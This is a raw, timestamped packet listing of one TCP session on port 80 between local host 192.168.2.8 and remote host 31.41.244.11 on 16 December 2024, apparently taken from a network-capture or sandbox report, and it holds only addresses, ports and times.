Dec 16, 2024 17:02:12.337608099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.338346004 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.338395119 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.338468075 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.338516951 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.339378119 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.339426041 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.339554071 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.339601040 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.340521097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.340575933 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.340647936 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.340764046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.341514111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.341564894 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.341676950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.341731071 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.342772007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.342807055 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.342822075 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.342849016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.343755007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.343807936 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.343923092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.343971014 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.344836950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.344882965 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.344888926 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.344935894 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.345932007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.345966101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.345976114 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.346007109 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.347069979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.347105026 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.347120047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.347219944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.348284006 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.348329067 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.348335981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.348383904 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.349317074 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.349369049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.349490881 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.349534035 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.350317955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.350353003 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.350369930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.350389004 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.351351976 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.351387024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.351407051 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.351427078 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.352507114 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.352559090 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.352672100 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.352720976 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.353426933 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.353475094 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.353548050 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.353594065 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.354631901 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.354665041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.354681015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.354706049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.355737925 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.355772972 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.355793953 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.355813026 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.356738091 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.356782913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.356888056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.356926918 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.357678890 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.357726097 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.357848883 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.357892036 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.358912945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.358959913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.359010935 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.359054089 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.359980106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.360035896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.360099077 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.360141039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.361072063 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.361120939 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.361157894 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.361200094 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.362131119 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.362174034 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.362224102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.362266064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.363197088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.363240957 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.363276958 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.363317013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.364165068 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.364212990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.364653111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.364700079 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.365322113 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.365370989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.365447998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.365489960 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.366384983 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.366460085 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.366480112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.366522074 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.367423058 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.367476940 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.367552996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.367598057 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.368491888 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.368545055 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.368832111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.368877888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.369731903 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.369765997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.369784117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.369807005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.370609045 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.370663881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.370779991 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.370832920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.371752024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.371797085 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.372138977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.372181892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.372832060 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.372888088 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.373147964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.373197079 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.374044895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.374094963 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.374145031 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.374187946 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.375021935 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.375072002 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.375252962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.375302076 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.376076937 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.376128912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.376274109 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.376319885 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.377219915 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.377273083 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.377389908 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.377438068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.378215075 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.378268003 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.378319025 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.378365993 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.379257917 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.379309893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.379400015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.379446983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.380423069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.380482912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.516508102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.516630888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.516668081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.516717911 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.516958952 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.517010927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.517100096 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.517148972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.518148899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.518188000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.518203974 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.518233061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.519117117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.519167900 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.519428968 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.519479036 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.520107985 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.520157099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.520283937 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.520329952 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.521338940 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.521382093 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.521516085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.521713018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.522391081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.522444010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.522731066 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.522785902 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.523654938 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.523705006 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.523781061 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.523828983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.524446964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.524497986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.524620056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.524667978 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.525451899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.525504112 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.525638103 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.525687933 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.526725054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.526782990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.526897907 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.526947975 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.527720928 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.527772903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.527895927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.527940989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.528985023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.529021025 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.529036999 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.529067993 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.529970884 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.530024052 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.530118942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.530168056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.531056881 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.531111002 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.531194925 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.531239033 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.532438040 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.532471895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.532491922 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.532516956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.533088923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.533140898 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.533253908 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.533303022 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.534050941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.534104109 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.534187078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.534238100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.535381079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.535438061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.535535097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.535583019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.536361933 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.536411047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.536674023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.536725044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.537353039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.537420034 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.537528992 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.537584066 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.538496971 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.538531065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.538542032 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.538583040 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.539639950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.539685011 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.539693117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.539735079 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.540633917 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.540679932 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.541560888 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.541614056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.541924000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.541968107 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.542109013 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.542159081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.543237925 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.543292046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.543390989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.543438911 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.544495106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.544550896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.544677019 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.544727087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.545900106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.545955896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.546080112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.546130896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.547076941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.547127008 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.547278881 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.547343969 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.547775984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.547830105 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.547830105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.547879934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.548666954 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.548719883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.548753023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.548804045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.550745964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.550796986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.551641941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.551690102 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.552449942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.552470922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.552495003 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.552498102 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.552509069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.552510977 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.552534103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.552556992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.553293943 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.553311110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.553361893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.553361893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.554316044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.554394960 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.554399014 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.554431915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.555241108 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.555257082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.555286884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.555304050 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.556169987 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.556216002 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.556250095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.556291103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.557563066 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.557621002 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.557707071 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.557749033 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.559478998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.559494972 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.559534073 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.559556961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.560245037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.560296059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.560412884 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.560461044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.561450005 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.561531067 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.561630011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.561692953 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.562578917 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.562633991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.562738895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.562782049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.563623905 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.563684940 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.563827991 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.563870907 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.565469027 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.565490961 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.565522909 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.565543890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.565907955 CET	80	49708	31.41.244.11	192.168.2.8
